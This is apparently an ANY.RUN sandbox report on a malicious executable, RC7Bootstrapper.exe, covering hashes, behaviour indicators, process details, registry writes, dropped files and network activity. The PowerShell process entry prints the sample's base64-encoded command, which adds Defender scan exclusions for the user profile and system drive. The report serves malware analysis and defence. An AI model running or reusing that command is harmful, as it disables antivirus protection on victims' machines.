File name:

RC7Bootstrapper.exe

Full analysis: https://app.any.run/tasks/04e35a54-68e7-4ba8-8b19-ddef84b0a252
Verdict: Malicious activity
Analysis date: December 02, 2023, 15:24:11
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
MD5:

6453EA0A6272A768C384DC5C1D74C37C

SHA1:

D53E5F7C1319281209CDCAC59CCCA8C3A70F3B56

SHA256:

36396B4EFC093902F4EBD9BF8ACF5F5375B48108622DA9CD8CBEE93E40D0384C

SSDEEP:

98304:VMdJrDxUQFRbT6gS/rrQ4y9FPytlRFuciMf/j684HPUsaS0huOBpYX2J5notFSZd:/9BpYmJ5oGJri

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • RC7Bootstrapper.exe (PID: 124)

  • SUSPICIOUS

    • Starts POWERSHELL.EXE for commands execution

      • RC7Bootstrapper.exe (PID: 124)

    • Base64-obfuscated command line is found

      • RC7Bootstrapper.exe (PID: 124)

    • Reads the Internet Settings

      • RC7Bootstrapper.exe (PID: 124)

    • Powershell version downgrade attack

      • powershell.exe (PID: 3048)

    • BASE64 encoded PowerShell command has been detected

      • RC7Bootstrapper.exe (PID: 124)

  • INFO

    • Checks supported languages

      • RC7Bootstrapper.exe (PID: 124)
      • wmpnscfg.exe (PID: 2292)
      • RC7.exe (PID: 2632)

    • Reads the computer name

      • RC7Bootstrapper.exe (PID: 124)
      • wmpnscfg.exe (PID: 2292)
      • RC7.exe (PID: 2632)

    • Create files in a temporary directory

      • RC7Bootstrapper.exe (PID: 124)

    • Manual execution by a user

      • wmpnscfg.exe (PID: 2292)

    • Reads the machine GUID from the registry

      • RC7.exe (PID: 2632)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (61.6)
.dll | Win32 Dynamic Link Library (generic) (14.6)
.exe | Win32 Executable (generic) (10)
.exe | Win16/32 Executable Delphi generic (4.6)
.exe | Generic Win/DOS Executable (4.4)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 0000:00:00 00:00:00
ImageFileCharacteristics: No relocs, Executable, No line numbers, No symbols, 32-bit, No debug
PEType: PE32
LinkerVersion: 6
CodeSize: 2048
InitializedDataSize: 2922496
UninitializedDataSize: -
EntryPoint: 0x14d1
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
5
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start rc7bootstrapper.exe powershell.exe no specs rc7.exe no specs wmpnscfg.exe no specs rc7bootstrapper.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
124"C:\Users\admin\Downloads\RC7Bootstrapper.exe" C:\Users\admin\Downloads\RC7Bootstrapper.exe
explorer.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\downloads\rc7bootstrapper.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
2292"C:\Program Files\Windows Media Player\wmpnscfg.exe"C:\Program Files\Windows Media Player\wmpnscfg.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Media Player Network Sharing Service Configuration Application
Exit code:
0
Version:
12.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\program files\windows media player\wmpnscfg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2632"C:\Users\admin\AppData\Local\Temp\RC7.exe" C:\Users\admin\AppData\Local\Temp\RC7.exe—RC7Bootstrapper.exe
User:
admin
Integrity Level:
HIGH
Description:
RC7
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\rc7.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
3048"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAawBuACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGMAaABqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHQAdQBkACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHoAegBmACMAPgA="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—RC7Bootstrapper.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3060"C:\Users\admin\Downloads\RC7Bootstrapper.exe" C:\Users\admin\Downloads\RC7Bootstrapper.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
Modules
Images
c:\users\admin\downloads\rc7bootstrapper.exe
c:\windows\system32\ntdll.dll
Total events
2 081
Read events
2 003
Write events
78
Delete events
0

Modification events

(PID) Process:(124) RC7Bootstrapper.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(124) RC7Bootstrapper.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(124) RC7Bootstrapper.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(124) RC7Bootstrapper.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(3048) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\17F\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
Executable files
2
Suspicious files
3
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
124RC7Bootstrapper.exeC:\Users\admin\AppData\Local\Temp\Updator.exeexecutable
MD5:62202F29BA5A39A03099217703E15496
SHA256:9293A6F3B3EC4F8EF721243137ED4F7E94839243D93C4510FA07445A9767F48C
3048powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:16F6D260068B85896C0EBB2E1B2A60D1
SHA256:6E3B1EF1FB4736A9BF18FADF8E42935CC5053478B6F403A38EFBA8500E819984
3048powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0WMAMFHI0LSNUY5B8MPN.tempbinary
MD5:16F6D260068B85896C0EBB2E1B2A60D1
SHA256:6E3B1EF1FB4736A9BF18FADF8E42935CC5053478B6F403A38EFBA8500E819984
3048powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF207a25.TMPbinary
MD5:16F6D260068B85896C0EBB2E1B2A60D1
SHA256:6E3B1EF1FB4736A9BF18FADF8E42935CC5053478B6F403A38EFBA8500E819984
124RC7Bootstrapper.exeC:\Users\admin\AppData\Local\Temp\RC7.exeexecutable
MD5:EE320338714043A29B4177AF37B57928
SHA256:C50E7ED4064E0F5D7505615972737EB5279D84373A78A17B76AABB8C175811BC
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
4
DNS requests
4
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
868
svchost.exe
23.35.228.137:80
—
AKAMAI-AS
DE
unknown
4
System
192.168.100.255:138
—
—
—
whitelisted
868
svchost.exe
49.13.77.253:80
google.com
Hetzner Online GmbH
DE
unknown
4
System
192.168.100.255:137
—
—
—
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 49.13.77.253
whitelisted
armmf.adobe.com
  • 49.13.77.253
whitelisted

Threats

No threats detected
No debug info
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Reports
RC7Bootstrapper.exe